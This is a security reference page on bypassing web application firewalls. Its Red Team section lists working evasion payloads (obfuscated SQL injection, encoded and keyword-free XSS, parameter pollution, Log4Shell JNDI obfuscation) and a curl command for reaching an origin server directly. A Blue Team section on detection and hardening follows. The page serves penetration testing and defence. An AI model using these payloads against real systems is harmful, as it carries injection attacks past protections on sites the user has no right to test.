WAF Bypass
A WAF (Web Application Firewall) inspects HTTP traffic and blocks what matches attack signatures. It does not fix the bug: it just puts a pattern-recognition layer in front. Bypassing it means making the payload reach the WAF differently than it reaches the app —or making the WAF not see it at all— so the malicious load hits the vulnerable code without tripping the signature.
Threat model
Section titled “Threat model”The WAF and the app almost never parse identically: different charset, different URL normalization, different handling of duplicate parameters, different inspected-body limit. Every one of those differences is a crack. And the WAF only sees traffic that goes through it: find the real origin (the IP behind Cloudflare/Akamai) and you skip it entirely.
Red Team
Section titled “Red Team”Identify the WAF
Section titled “Identify the WAF”- wafw00f
wafw00f https://target→ fingerprint by headers/cookies/block page. - Signals:
Server: cloudflare, cookie__cfduid/incap_ses/AWSALB, 403/406 page with an incident ID,X-Sucuri-ID. - Send an obvious payload (
?x=<svg onload=alert(1)>) and watch the block to profile the signature.
Skip the WAF via the origin
Section titled “Skip the WAF via the origin”If the WAF is a proxy (Cloudflare, Akamai, Imperva cloud), finding the real IP nullifies it:
- Historical DNS: SecurityTrails, crt.sh, DNSdumpster,
censys/shodansearching for the certificate. - Forgotten subdomains (
dev.,staging.,origin.,mail.) pointing straight at the server. - Mail headers, metadata, errors leaking the internal IP.
- Connect directly to the IP with the real
Host::
curl -s -H "Host: target.com" https://ORIGIN_IP/ -kBy hand: mutate the payload
Section titled “By hand: mutate the payload”Same semantics, different syntax the signature does not recognize.
Case / spacing / comments (SQLi):
UNION SELECT -> uNiOn/**/SeLeCt' OR 1=1-- - -> '/**/oR/**/1=1-- -UNION -> UNI/*!50000UNION*/ON (MySQL conditional comment)space -> /**/ %09 %0a %0c %a0 +Encoding and double-encoding:
< -> %3C -> %253C (double URL-encode if the WAF decodes once and the app twice)unicode -> %u003c, <, fullwidth forms < >HTML ent -> < < <XSS without blocked keywords:
<script> -> <sCrIpT>, <svg/onload=...>, <img src=x onerror=...>alert(1) -> alert`1`, (alert)(1), top["ale"+"rt"](1), confirm(1)on-handlers -> onpointerover, onfocus autofocus, onanimationstartParameter pollution (HPP): send the parameter twice; the WAF may inspect one while the app concatenates/uses the other:
?id=1&id=' OR '1'='1Split the signature via the body: switch GET to POST, use application/json or multipart/form-data; many WAFs inspect the body worse or only the first N KB → pad with junk before the payload.
Transport encoding: multipart/form-data with an odd charset, chunked transfer-encoding, or Content-Encoding: gzip if the WAF does not decompress.
- wafw00f — WAF fingerprinting.
- ffuf/Burp Intruder — fuzz payload mutations.
- nuclei (
-t http/waf) — detection and testing. - Cloudflair / cf-check / historical DNS — origin IP discovery.
- sqlmap
--tamper=space2comment,between,charencode,...— built-in evasion scripts.
Impact
Section titled “Impact”Evasion does not widen the bug: it delivers it. If there is SQLi/XSS/RCE behind, bypassing the WAF turns a “blocked” into real exploitation.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Bursts of 403/406 followed by a 200 on the same parameter → someone iterating mutations until one slips through.
- Direct requests to the origin IP carrying the public domain’s
Host. - Payloads with double-encoding, inline SQL comments, unusual charset.
Telemetry
Section titled “Telemetry”Log blocked and allowed requests with the full parameter; without the payload in the clear you cannot see the mutation that worked.
Hardening
Section titled “Hardening”- The WAF is defense in depth, not the patch. Fix the bug (parameterized queries, output encoding): an evadable WAF in front of vulnerable code is still exploitable.
- Lock the origin: firewall that accepts traffic only from the WAF/CDN range; rotate the IP after migrating.
- Normalize before inspecting (decode, canonicalize) and reject ambiguous encodings.
- Inspect the whole body, not just the first KBs; decompress before inspecting.
- Positive security model (allowlist of the expected) where feasible, not just negative signatures.
Response
Section titled “Response”If successful evasion is detected, assume the bug behind is exploitable: patch it, don’t just harden the signature.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- ModSecurity CRS bypasses — historical ones via JSON, charset, and SQL comments; each Core Rule Set release fixes rounds of evasion.
- Cloudflare / Akamai origin IP leaks — many cases of protected domains bypassed via an origin IP exposed through historical DNS or subdomains.
- CVE-2021-44228 (Log4Shell) — a wave of WAF bypasses with JNDI obfuscation (
${lower:j}ndi,${::-j}) that defeated naive signatures. - Imperva/F5/AWS WAF: recurring research publishes mutations that evade their default signatures.
Testing checklist
Section titled “Testing checklist”- Which WAF is it? (wafw00f, block page)
- Can the origin IP be reached directly, skipping the WAF?
- Does double-encoding / unicode / fullwidth evade the signature?
- Do inline comments, case changes, and alternate spacing slip SQLi/XSS through?
- Does HPP (duplicate parameter) split inspection?
- Does switching to POST/JSON/multipart or padding the body evade inspection?
- After evasion, is the underlying bug actually exploitable?
- Does the origin accept traffic not coming from the CDN/WAF?